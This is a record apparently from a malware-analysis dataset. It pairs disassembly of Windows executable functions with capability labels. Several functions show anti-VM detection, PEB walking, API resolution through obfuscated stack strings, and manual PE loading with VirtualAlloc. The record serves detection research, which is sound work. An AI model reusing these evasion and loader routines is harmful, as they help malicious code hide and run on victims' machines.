joyce8/EMBER2024-capa huggingface dataset:
Function at 0x418470
Capabilities:
Create process on windows
Read .ini file

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x45ef63
mov eax, dword fs:[0]
push eax
sub esp, 0x24
mov eax, dword [0x478a70]
xor eax, ebp
mov dword [ebp - 0x10], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x2c], ecx
mov eax, dword [ebp + 8]
mov ecx, dword [eax + 8]
mov dword [ebp - 0x30], ecx
cmp dword [ebp - 0x30], 0x7b
ja 0x4184c9
cmp dword [ebp - 0x30], 0x7b
je 0x418503
cmp dword [ebp - 0x30], 0x1b
je 0x418594
cmp dword [ebp - 0x30], 0x70
je 0x41859b
jmp 0x4185c1
cmp dword [ebp - 0x30], 0xfa1
je 0x4184d7
jmp 0x4185c1
mov ecx, dword [ebp - 0x2c]
call fcn.00419b50
test eax, eax
je 0x4184ef
push 0
mov ecx, dword [ebp - 0x2c]
call fcn.0042c15c
jmp 0x4184f9
push 5
mov ecx, dword [ebp - 0x2c]
call fcn.0042c15c
mov eax, 1
jmp 0x4185cd
mov edx, dword [ebp + 8]
cmp dword [edx + 4], 0x100
jne 0x418540
push str.C:WINDOWS_system32WindowsXox.INI
push 0x14
lea eax, [ebp - 0x24]
push eax
push 0x4632c7
push str.rand
push 0x464918
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
lea ecx, [ebp - 0x24]
push ecx
push 0x49b
mov ecx, dword [ebp - 0x2c]
call fcn.00418140
mov edx, dword [ebp + 8]
cmp dword [edx + 4], 0x101
jne 0x418592
mov eax, dword [ebp - 0x2c]
add eax, 0x4ec
push eax
push 0x464920
lea ecx, [ebp - 0x28]
push ecx
call fcn.0041adf0
add esp, 0xc
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x28]
call fcn.004015f0
push eax
push 0x49b
mov ecx, dword [ebp - 0x2c]
call fcn.00418140
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x28]
call fcn.004013c0
jmp 0x4185c1
mov eax, 1
jmp 0x4185cd
push 5
push 0
push 0
push str.http:__www.kesuosi.com.cn_
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov eax, 1
jmp 0x4185cd
mov edx, dword [ebp + 8]
push edx
mov ecx, dword [ebp - 0x2c]
call fcn.00425967
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0044240e
mov esp, ebp
pop ebp
ret 4
Function at 0x418a80
Capabilities:
Enumerate process modules

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x45f021
mov eax, dword fs:[0]
push eax
mov eax, 0x2024
call fcn.00444050
mov eax, dword [0x478a70]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x2030], ecx
mov dword [ebp - 4], 0
push 0x4632ff
lea ecx, [ebp - 0x1014]
call fcn.00401340
mov byte [ebp - 4], 1
lea eax, [ebp - 0x101c]
push eax
push 0x1000
lea ecx, [ebp - 0x100c]
push ecx
call sub.PSAPI.DLL_EnumProcesses
test eax, eax
jne 0x418b1c
mov dword [ebp - 0x2024], 0
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x1014]
call fcn.004013c0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp + 8]
call fcn.004013c0
mov eax, dword [ebp - 0x2024]
jmp 0x418c3c
mov dword [ebp - 0x2020], 0
jmp 0x418b37
mov edx, dword [ebp - 0x2020]
add edx, 1
mov dword [ebp - 0x2020], edx
mov eax, dword [ebp - 0x101c]
shr eax, 2
cmp dword [ebp - 0x2020], eax
jge 0x418c0e
mov ecx, dword [ebp - 0x2020]
mov edx, dword [ebp + ecx*4 - 0x100c]
push edx
push 0
push 0x410
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [ebp - 0x1010], eax
lea eax, [ebp - 0x1018]
push eax
push 0x1000
lea ecx, [ebp - 0x201c]
push ecx
mov edx, dword [ebp - 0x1010]
push edx
call sub.PSAPI.DLL_EnumProcessModules
push 0x80
push 0x80
lea ecx, [ebp - 0x1014]
call fcn.00401970
push eax
mov eax, dword [ebp - 0x201c]
push eax
mov ecx, dword [ebp - 0x1010]
push ecx
call sub.PSAPI.DLL_GetModuleFileNameExA
push 0
lea ecx, [ebp + 8]
call fcn.004015f0
push eax
lea ecx, [ebp - 0x1014]
call fcn.0041abf0
cmp eax, 0xffffffff
je 0x418c09
mov edx, dword [ebp - 0x2020]
mov eax, dword [ebp + edx*4 - 0x100c]
mov dword [ebp - 0x2028], eax
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x1014]
call fcn.004013c0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp + 8]
call fcn.004013c0
mov eax, dword [ebp - 0x2028]
jmp 0x418c3c
jmp 0x418b28
mov dword [ebp - 0x202c], 0xffffffff
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x1014]
call fcn.004013c0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp + 8]
call fcn.004013c0
mov eax, dword [ebp - 0x202c]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov esp, ebp
pop ebp
ret 4
Function at 0x420bf0
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov dword [ebp - 4], 0
mov dword [ebp - 0x10], 0
mov dword [ebp - 0xc], 0
mov dword [ebp - 8], 0
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x14], eax
cmp dword [ebp + 0x10], 0xffff
jl 0x420c29
or eax, 0xffffffff
jmp 0x420cbb
mov ecx, 1
test ecx, ecx
je 0x420cb8
cmp dword [ebp - 4], 0xffffffff
je 0x420c45
mov edx, dword [ebp - 0x14]
add edx, dword [ebp - 4]
mov dword [ebp - 0x14], edx
push 0
mov eax, dword [ebp + 0x10]
push eax
mov ecx, dword [ebp - 0x14]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.WSOCK32.dll_recv]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x420c66
xor eax, eax
jmp 0x420cbb
call dword [sym.imp.WSOCK32.dll_WSAGetLastError]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0x2733
jne 0x420c82
push 5
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x420c29
cmp dword [ebp - 0x10], 0
je 0x420c8d
or eax, 0xffffffff
jmp 0x420cbb
cmp dword [ebp - 4], 0
jg 0x420c98
or eax, 0xffffffff
jmp 0x420cbb
mov eax, dword [ebp - 4]
cmp eax, dword [ebp + 0x10]
jne 0x420ca2
jmp 0x420cb8
mov ecx, dword [ebp - 4]
cmp ecx, dword [ebp + 0x10]
jge 0x420cb3
mov edx, dword [ebp + 0x10]
sub edx, dword [ebp - 4]
mov dword [ebp + 0x10], edx
jmp 0x420c29
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret

Function at 0x420cc0
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x118
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0
mov dword [ebp - 4], 0
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x10], eax
mov ecx, 1
test ecx, ecx
je 0x420d8e
mov dword [ebp - 0x118], 0
mov edx, dword [ebp - 0x10]
add edx, dword [ebp - 8]
mov dword [ebp - 0x10], edx
push 0
mov eax, dword [ebp + 0x10]
push eax
mov ecx, dword [ebp - 0x10]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.WSOCK32.dll_send]
mov dword [ebp - 8], eax
call dword [sym.imp.WSOCK32.dll_WSAGetLastError]
cmp eax, 0x2733
jne 0x420d39
mov dword [ebp - 8], 0
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x420ce4
call dword [sym.imp.WSOCK32.dll_WSAGetLastError]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0x3e5
je 0x420d5d
cmp dword [ebp - 8], 0
jne 0x420d5d
mov dword [ebp - 0xc], 0xffffffff
mov eax, dword [ebp - 0xc]
jmp 0x420d91
cmp dword [ebp - 8], 0
jg 0x420d68
mov eax, dword [ebp - 0xc]
jmp 0x420d91
mov eax, dword [ebp - 8]
cmp eax, dword [ebp + 0x10]
jne 0x420d78
mov ecx, dword [ebp + 0x10]
mov dword [ebp - 0xc], ecx
jmp 0x420d8e
mov edx, dword [ebp - 8]
cmp edx, dword [ebp + 0x10]
jge 0x420d89
mov eax, dword [ebp + 0x10]
sub eax, dword [ebp - 8]
mov dword [ebp + 0x10], eax
jmp 0x420ce4
mov eax, dword [ebp - 0xc]
mov esp, ebp
pop ebp
ret
Function at 0x426174
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
mov edi, ecx
mov dword [edi + 0x58], ebx
test ebx, 0xffff0000
jne 0x426198
cmp dword [edi + 0x54], 0
jne 0x426198
movzx eax, bx
mov dword [edi + 0x54], eax
call fcn.00430e6d
mov esi, dword [eax + 0xc]
push 5
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
push esi
push dword [ebp + 0xc]
mov ebx, eax
push ebx
mov ecx, edi
call fcn.00426135
push ebx
mov esi, eax
call dword [sym.imp.KERNEL32.dll_FreeResource]
pop edi
mov eax, esi
pop esi
pop ebx
pop ebp
ret 8

Function at 0x42b7fa
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
xor ebx, ebx
xor edi, edi
mov dword [ebp - 4], ecx
cmp dword [ebp + 8], ebx
je 0x42b841
call fcn.00430e6d
mov esi, dword [eax + 0xc]
push 0xf0
push dword [ebp + 8]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
test eax, eax
je 0x42b841
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov ebx, eax
test ebx, ebx
je 0x42b85d
push ebx
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
mov ecx, dword [ebp - 4]
push edi
call fcn.0042b374
mov esi, eax
test edi, edi
je 0x42b85b
test ebx, ebx
je 0x42b85b
push ebx
call dword [sym.imp.KERNEL32.dll_FreeResource]
mov eax, esi
pop edi
pop esi
pop ebx
leave
ret 4

Function at 0x42c71b
Capabilities:
Get graphical window text

Disassembly:
push 4
mov eax, 0x45ff3c
call fcn.00446dc0
mov esi, ecx
cmp dword [esi + 0x50], 0
jne 0x42c740
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [esi + 0x20]
call dword [sym.imp.USER32.dll_GetWindowTextA]
jmp 0x42c786
lea ecx, [ebp - 0x10]
call fcn.00402a90
mov ecx, dword [esi + 0x50]
mov eax, dword [ecx]
and dword [ebp - 4], 0
lea edx, [ebp - 0x10]
push edx
call dword [eax + 0x8c]
push 0xffffffffffffffff
push dword [ebp - 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.00424f68
add esp, 0x10
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov ecx, dword [ebp - 0x10]
add ecx, 0xfffffff0
mov esi, eax
call fcn.00401a40
mov eax, esi
call fcn.00446e98
ret 8
Function at 0x42dea7
Capabilities:
Get geographical location

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x160
mov eax, dword [0x478a70]
xor eax, ebp
mov dword [ebp - 4], eax
cmp dword [ebp + 0xc], 0x800
mov eax, dword [ebp + 8]
push esi
mov dword [ebp - 0x11c], eax
mov esi, ecx
lea eax, [ebp - 0x120]
jne 0x42df45
push 0x467344
push 4
push eax
call fcn.0044683b
push eax
call fcn.0041aaa0
add esp, 0x10
push ebx
push edi
call fcn.00446f65
mov edi, dword [eax]
call fcn.00446f65
xor ebx, ebx
mov dword [eax], ebx
lea eax, [ebp - 0x120]
push eax
push dword [ebp - 0x11c]
lea eax, [ebp - 0x118]
push esi
push 0x111
mov esi, 0x112
push esi
push eax
call fcn.00442bc1
add esp, 0x18
mov dword [ebp - 0x11c], eax
call fcn.00446f65
cmp dword [eax], ebx
je 0x42df5c
call fcn.00446f65
push dword [eax]
call fcn.0042505c
pop ecx
jmp 0x42df63
push 4
push eax
push 3
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoA]
test eax, eax
jne 0x42deed
jmp 0x42dfea
call fcn.00446f65
mov dword [eax], edi
cmp dword [ebp - 0x11c], 0xffffffff
je 0x42dfe6
cmp dword [ebp - 0x11c], esi
jae 0x42dfe6
lea eax, [ebp - 0x118]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFindFileNameA]
push 0x3c
mov esi, eax
lea eax, [ebp - 0x15c]
push ebx
push eax
mov dword [ebp - 0x160], 0x40
call fcn.00442f90
add esp, 0xc
push str.KERNEL32
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
cmp eax, ebx
je 0x42dfd5
push str.FindActCtxSectionStringA
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
cmp eax, ebx
je 0x42dfd5
lea ecx, [ebp - 0x160]
push ecx
push esi
push 2
push ebx
push ebx
call eax
test eax, eax
je 0x42dfd5
push ebx
push ebx
push esi
jmp 0x42dfde
push ebx
push ebx
lea eax, [ebp - 0x118]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryExA]
jmp 0x42dfe8
xor eax, eax
pop edi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.0044240e
leave
ret

Function at 0x42f812
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ebx
xor ebx, ebx
push esi
push edi
mov edi, ecx
mov dword [ebp - 4], ebx
cmp dword [ebp + 0xc], ebx
je 0x42f85a
call fcn.00430e6d
mov esi, dword [eax + 0xc]
push 0xf0
push dword [ebp + 0xc]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
test eax, eax
je 0x42f85a
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov dword [ebp - 4], eax
test eax, eax
je 0x42f89d
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ebx, eax
mov esi, dword [ebp + 8]
mov dword [ebp + 0xc], 1
test ebx, ebx
je 0x42f886
push dword [ebp + 0x10]
mov eax, dword [edi]
push ebx
push esi
mov ecx, edi
call dword [eax + 0x20]
cmp dword [ebp - 4], 0
mov dword [ebp + 0xc], eax
je 0x42f886
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_FreeResource]
cmp dword [esi + 0x4c], 0
je 0x42f89a
mov ecx, dword [esi + 0x4c]
push dword [ebp + 0x10]
mov eax, dword [ecx]
call dword [eax + 0xa0]
mov eax, dword [ebp + 0xc]
pop edi
pop esi
pop ebx
leave
ret 0xc

Function at 0x44240e
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x478a70]
jne 0x442418
repz ret
jmp fcn.00449bac
Function at 0x456594
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.00449594
and dword [ebp - 4], 0
cmp dword [0x47cef4], 0
mov ebx, eax
jne 0x456645
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x4566f6
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x46b28c
push edi
call esi
test eax, eax
je 0x4566f6
push eax
call fcn.00449522
mov dword [esp], 0x46b27c
push edi
mov dword [0x47cef4], eax
call esi
push eax
call fcn.00449522
mov dword [esp], 0x46b268
push edi
mov dword [0x47cef8], eax
call esi
push eax
call fcn.00449522
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x47cefc], eax
call esi
push eax
call fcn.00449522
pop ecx
mov dword [0x47cf04], eax
test eax, eax
je 0x456645
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.00449522
pop ecx
mov dword [0x47cf00], eax
mov eax, dword [0x47cf00]
cmp eax, ebx
je 0x45669d
cmp dword [0x47cf04], ebx
je 0x45669d
push eax
call fcn.0044959d
push dword [0x47cf04]
mov esi, eax
call fcn.0044959d
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x45669d
test edi, edi
je 0x45669d
call esi
test eax, eax
je 0x456694
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x456694
test byte [ebp - 0xc], 1
jne 0x45669d
or dword [ebp + 0x10], 0x200000
jmp 0x4566d6
mov eax, dword [0x47cef8]
cmp eax, ebx
je 0x4566d6
push eax
call fcn.0044959d
pop ecx
test eax, eax
je 0x4566d6
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x4566d6
mov eax, dword [0x47cefc]
cmp eax, ebx
je 0x4566d6
push eax
call fcn.0044959d
pop ecx
test eax, eax
je 0x4566d6
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x47cef4]
call fcn.0044959d
pop ecx
test eax, eax
je 0x4566f6
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x4566f8
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x403751
Capabilities:
Reference the vmware io port

Disassembly:
push ebp
mov ebp, esp
sub esp, 4
mov dword [ebp - 4], 0
mov eax, 0x564d5868
mov ebx, 0
mov ecx, 0xa
mov edx, 0x5658
in eax, dx
cmp ebx, 0x564d5868
sete byte [ebp - 4]
mov eax, dword [ebp - 4]
jmp 0x403788
mov esp, ebp
pop ebp
ret
Function at 0x40f263
Capabilities:
Access peb ldr_data
Get number of processors

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
push ebx
mov eax, 0x6b
mov word [ebp - 0x24], ax
mov ecx, 0x65
mov word [ebp - 0x22], cx
mov edx, 0x72
mov word [ebp - 0x20], dx
mov eax, 0x6e
mov word [ebp - 0x1e], ax
mov ecx, 0x65
mov word [ebp - 0x1c], cx
mov edx, 0x6c
mov word [ebp - 0x1a], dx
mov eax, 0x33
mov word [ebp - 0x18], ax
mov ecx, 0x32
mov word [ebp - 0x16], cx
mov edx, 0x2e
mov word [ebp - 0x14], dx
mov eax, 0x64
mov word [ebp - 0x12], ax
mov ecx, 0x6c
mov word [ebp - 0x10], cx
mov edx, 0x6c
mov word [ebp - 0xe], dx
xor eax, eax
mov word [ebp - 0xc], ax
mov dword [ebp - 4], 0
mov ebx, dword fs:[0x30]
mov ebx, dword [ebx + 0xc]
mov ebx, dword [ebx + 0x14]
mov eax, dword [ebx + 0x28]
test eax, eax
je 0x40f317
mov dword [ebp - 8], eax
lea ecx, [ebp - 0x24]
push ecx
mov edx, dword [ebp - 8]
push edx
call fcn.0040f1f3
add esp, 8
cmp eax, 0
mov eax, dword [ebx + 0x10]
mov ebx, dword [ebx]
jne 0x40f2f0
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x40f323
Capabilities:
Resolve function by parsing pe exports

Disassembly:
sub esp, 0x14
push ebp
push edi
mov edi, ecx
mov ebp, edx
test edi, edi
je 0x40f33e
test ebp, ebp
je 0x40f33e
mov eax, dword [edi + 0x3c]
cmp dword [eax + edi + 0x7c], 0
jne 0x40f346
pop edi
xor eax, eax
pop ebp
add esp, 0x14
ret
mov eax, dword [eax + edi + 0x78]
add eax, edi
push ebx
mov ecx, dword [eax + 0x20]
mov edx, dword [eax + 0x24]
mov ebx, dword [eax + 0x14]
add ecx, edi
mov dword [esp + 0x10], ecx
push esi
mov esi, dword [eax + 0x1c]
mov ecx, ebp
sub ecx, dword [eax + 0x10]
add esi, edi
add edx, edi
mov dword [esp + 0x20], esi
mov dword [esp + 0x1c], edx
mov dword [esp + 0x10], ebx
cmp ecx, ebx
ja 0x40f386
mov eax, dword [esi + ecx*4]
pop esi
pop ebx
add eax, edi
pop edi
pop ebp
add esp, 0x14
ret
mov eax, dword [eax + 0x18]
xor esi, esi
mov dword [esp + 0x18], eax
test eax, eax
je 0x40f3e2
mov ecx, ebx
movzx ebx, word [edx + esi*2]
cmp ebx, ecx
ja 0x40f3dd
mov eax, dword [esp + 0x14]
mov ecx, ebp
mov eax, dword [eax + esi*4]
add eax, edi
mov dl, byte [ecx]
cmp dl, byte [eax]
jne 0x40f3c8
test dl, dl
je 0x40f3c4
mov dl, byte [ecx + 1]
cmp dl, byte [eax + 1]
jne 0x40f3c8
add ecx, 2
add eax, 2
test dl, dl
jne 0x40f3a8
xor eax, eax
jmp 0x40f3cd
sbb eax, eax
or eax, 1
test eax, eax
je 0x40f3ec
mov eax, dword [esp + 0x18]
mov edx, dword [esp + 0x1c]
mov ecx, dword [esp + 0x10]
inc esi
cmp esi, eax
jb 0x40f395
pop esi
pop ebx
pop edi
xor eax, eax
pop ebp
add esp, 0x14
ret
mov eax, dword [esp + 0x20]
pop esi
mov eax, dword [eax + ebx*4]
pop ebx
add eax, edi
pop edi
pop ebp
add esp, 0x14
ret
Function at 0x40f403
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x10
push ebx
push edi
mov edi, edx
mov ebx, ecx
call fcn.0040f263
test eax, eax
jne 0x40f41b
pop edi
pop ebx
add esp, 0x10
ret
push esi
lea edx, [esp + 0xc]
mov ecx, eax
mov dword [esp + 0xc], 0x74726956
mov dword [esp + 0x10], 0x416c6175
mov dword [esp + 0x14], 0x636f6c6c
mov byte [esp + 0x18], 0
call fcn.0040f323
mov esi, eax
test esi, esi
jne 0x40f451
pop esi
pop edi
pop ebx
add esp, 0x10
ret
push 0x40
push 0x3000
push edi
push ebx
call esi
test eax, eax
jne 0x40f46b
push 0x40
push 0x3000
push edi
push eax
call esi
pop esi
pop edi
pop ebx
add esp, 0x10
ret
Function at 0x40f563
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x44
push esi
push edi
mov dword [esp + 0x1c], edx
mov edi, ecx
call fcn.0040f263
mov esi, eax
test esi, esi
jne 0x40f581
pop edi
xor eax, eax
pop esi
add esp, 0x44
ret
lea edx, [esp + 0x38]
mov ecx, esi
mov dword [esp + 0x38], 0x64616f4c
mov dword [esp + 0x3c], 0x7262694c
mov dword [esp + 0x40], 0x41797261
mov byte [esp + 0x44], 0
call fcn.0040f323
mov dword [esp + 0x18], eax
test eax, eax
je 0x40f579
lea edx, [esp + 0x38]
mov ecx, esi
mov dword [esp + 0x38], 0x65657246
mov dword [esp + 0x3c], 0x7262694c
mov dword [esp + 0x40], 0x797261
call fcn.0040f323
mov dword [esp + 0x34], eax
test eax, eax
je 0x40f579
lea edx, [esp + 0x38]
mov ecx, esi
mov dword [esp + 0x38], 0x50746547
mov dword [esp + 0x3c], 0x41636f72
mov dword [esp + 0x40], 0x65726464
mov word [esp + 0x44], 0x7373
mov byte [esp + 0x46], 0
call fcn.0040f323
mov dword [esp + 0x28], eax
test eax, eax
je 0x40f579
lea edx, [esp + 0x38]
mov ecx, esi
mov dword [esp + 0x38], 0x4d746547
mov dword [esp + 0x3c], 0x6c75646f
mov dword [esp + 0x40], 0x6e614865
mov dword [esp + 0x44], 0x41656c64
mov byte [esp + 0x48], 0
call fcn.0040f323
mov dword [esp + 0x30], eax
test eax, eax
je 0x40f579
mov eax, dword [edi + 0x3c]
push ebx
cmp dword [eax + edi + 0x84], 0
push ebp
je 0x40f748
mov ecx, dword [eax + edi + 0x80]
add ecx, edi
xor esi, esi
lea ebx, [ecx + 0xc]
mov dword [esp + 0x34], ecx
mov dword [esp + 0x10], esi
cmp dword [ebx], esi
je 0x40f748
mov eax, ebx
mov ebp, ecx
mov eax, dword [eax]
add eax, edi
push eax
mov dword [esp + 0x2c], eax
call dword [esp + 0x24]
mov dword [esp + 0x2c], eax
mov eax, dword [ebp]
mov dword [esp + 0x1c], eax
test eax, eax
jne 0x40f6ab
mov eax, dword [ebp + 0x10]
mov dword [esp + 0x1c], eax
add eax, edi
mov dword [esp + 0x14], 0
cmp dword [eax], 0
je 0x40f72c
mov dword [esp + 0x18], 0
nop
mov eax, dword [eax]
test eax, eax
jns 0x40f6ce
movzx esi, ax
jmp 0x40f6d3
lea esi, [edi + 2]
add esi, eax
mov ecx, dword [esp + 0x24]
test ecx, ecx
je 0x40f6f2
push dword [esp + 0x58]
and eax, 0x80000000
push eax
push esi
push dword [esp + 0x34]
call ecx
mov ecx, eax
test ecx, ecx
jne 0x40f701
push esi
push dword [esp + 0x30]
call dword [esp + 0x38]
mov ecx, eax
test ecx, ecx
je 0x40f755
mov eax, dword [ebp + 0x10]
add eax, dword [esp + 0x18]
mov dword [eax + edi], ecx
mov ecx, dword [esp + 0x14]
mov eax, dword [esp + 0x1c]
inc ecx
mov dword [esp + 0x14], ecx
shl ecx, 2
add eax, ecx
add eax, edi
mov dword [esp + 0x18], ecx
cmp dword [eax], 0
jne 0x40f6c3
mov esi, dword [esp + 0x10]
mov ecx, dword [esp + 0x34]
inc esi
mov dword [esp + 0x10], esi
lea eax, [esi + esi*4]
lea ebp, [ecx + eax*4]
cmp dword [ebp + 0xc], 0
lea eax, [ebp + 0xc]
jne 0x40f688
pop ebp
pop ebx
pop edi
mov eax, 1
pop esi
add esp, 0x44
ret
cmp dword [ebx], 0
je 0x40f77e
mov esi, dword [esp + 0x10]
xor ebp, ebp
lea ecx, [ecx]
cmp ebp, esi
ja 0x40f77e
mov eax, dword [ebx]
add eax, edi
push eax
call dword [esp + 0x3c]
push eax
call dword [esp + 0x40]
add ebx, 0x14
inc ebp
cmp dword [ebx], 0
jne 0x40f763
pop ebp
pop ebx
pop edi
xor eax, eax
pop esi
add esp, 0x44
ret
Function at 0x40f793
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x18
push esi
push edi
mov edi, ecx
call fcn.0040f263
mov esi, eax
test esi, esi
je 0x40f84f
push ebp
lea edx, [esp + 0x10]
mov ecx, esi
mov dword [esp + 0x10], 0x65657246
mov dword [esp + 0x14], 0x7262694c
mov dword [esp + 0x18], 0x797261
call fcn.0040f323
mov ebp, eax
test ebp, ebp
je 0x40f84e
lea edx, [esp + 0x10]
mov ecx, esi
mov dword [esp + 0x10], 0x4d746547
mov dword [esp + 0x14], 0x6c75646f
mov dword [esp + 0x18], 0x6e614865
mov dword [esp + 0x1c], 0x41656c64
mov byte [esp + 0x20], 0
call fcn.0040f323
mov edx, eax
mov dword [esp + 0xc], edx
test edx, edx
je 0x40f84e
mov ecx, dword [edi + 0x3c]
cmp dword [ecx + edi + 0x84], 0
je 0x40f84e
push ebx
mov ebx, dword [ecx + edi + 0x80]
add ebx, edi
xor esi, esi
mov eax, dword [ebx + 0xc]
test eax, eax
je 0x40f84d
lea ebx, [ebx]
add eax, edi
push eax
call edx
push eax
call ebp
mov edx, dword [esp + 0x10]
lea esi, [esi + 1]
lea eax, [esi + esi*4]
mov eax, dword [ebx + eax*4 + 0xc]
test eax, eax
jne 0x40f833
pop ebx
pop ebp
pop edi
pop esi
add esp, 0x18
ret

Function at 0x40fb71
Capabilities:
Parse pe header
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 0xc]
mov eax, dword [eax]
mov dword [ebp + 0xc], eax
jmp 0x40fb81
sub esp, 0x20
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x10], 0
mov dword [ebp - 0x14], 0
cmp dword [ebp + 8], 0
jle 0x40fc8f
mov eax, dword [ebp + 8]
mov eax, dword [eax]
cwde
call fcn.0040fc9f
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0x5a4d
jne 0x40fc8f
mov eax, dword [ebp + 8]
mov eax, dword [eax + 0x3c]
add eax, dword [ebp + 8]
push eax
mov eax, dword [eax]
call fcn.0040fc9f
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0x4550
jne 0x40fc8f
pop eax
push eax
mov eax, dword [eax + 0x7c]
call fcn.0040fc9f
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0
je 0x40fc8f
pop eax
mov eax, dword [eax + 0x78]
add eax, dword [ebp + 8]
mov dword [ebp - 0x10], eax
push eax
mov eax, dword [eax + 0x20]
add eax, dword [ebp + 8]
mov eax, dword [eax]
add eax, dword [ebp + 8]
mov dword [ebp - 0x14], eax
pop eax
mov eax, dword [eax + 0x18]
dec eax
mov dword [ebp - 4], eax
push dword [ebp - 4]
lea eax, [ebp - 4]
mov ebx, eax
mov ecx, 0
pop edx
push edx
push ecx
push ebx
mov dword [ebx], ecx
cmp ecx, edx
jg 0x40fc8c
mov eax, dword [ebp - 0x14]
add eax, dword [ebp - 0xc]
mov dword [ebp - 8], eax
push dword [ebp + 0xc]
push dword [ebp - 8]
call fcn.0040fcb2
test eax, eax
je 0x40fc7b
push ecx
mov eax, dword [ebp - 0x10]
lea eax, [eax + 0x1c]
mov eax, dword [eax]
add eax, dword [ebp + 8]
mov ecx, dword [ebp - 4]
lea eax, [eax + ecx*4]
mov eax, dword [eax]
add eax, dword [ebp + 8]
pop ecx
leave
ret 8
push dword [ebp - 8]
call fcn.0040fce6
add dword [ebp - 0xc], eax
pop ebx
pop ecx
pop edx
inc ecx
jmp 0x40fc36
add esp, 0xc
mov eax, 0
jmp 0x40fc99
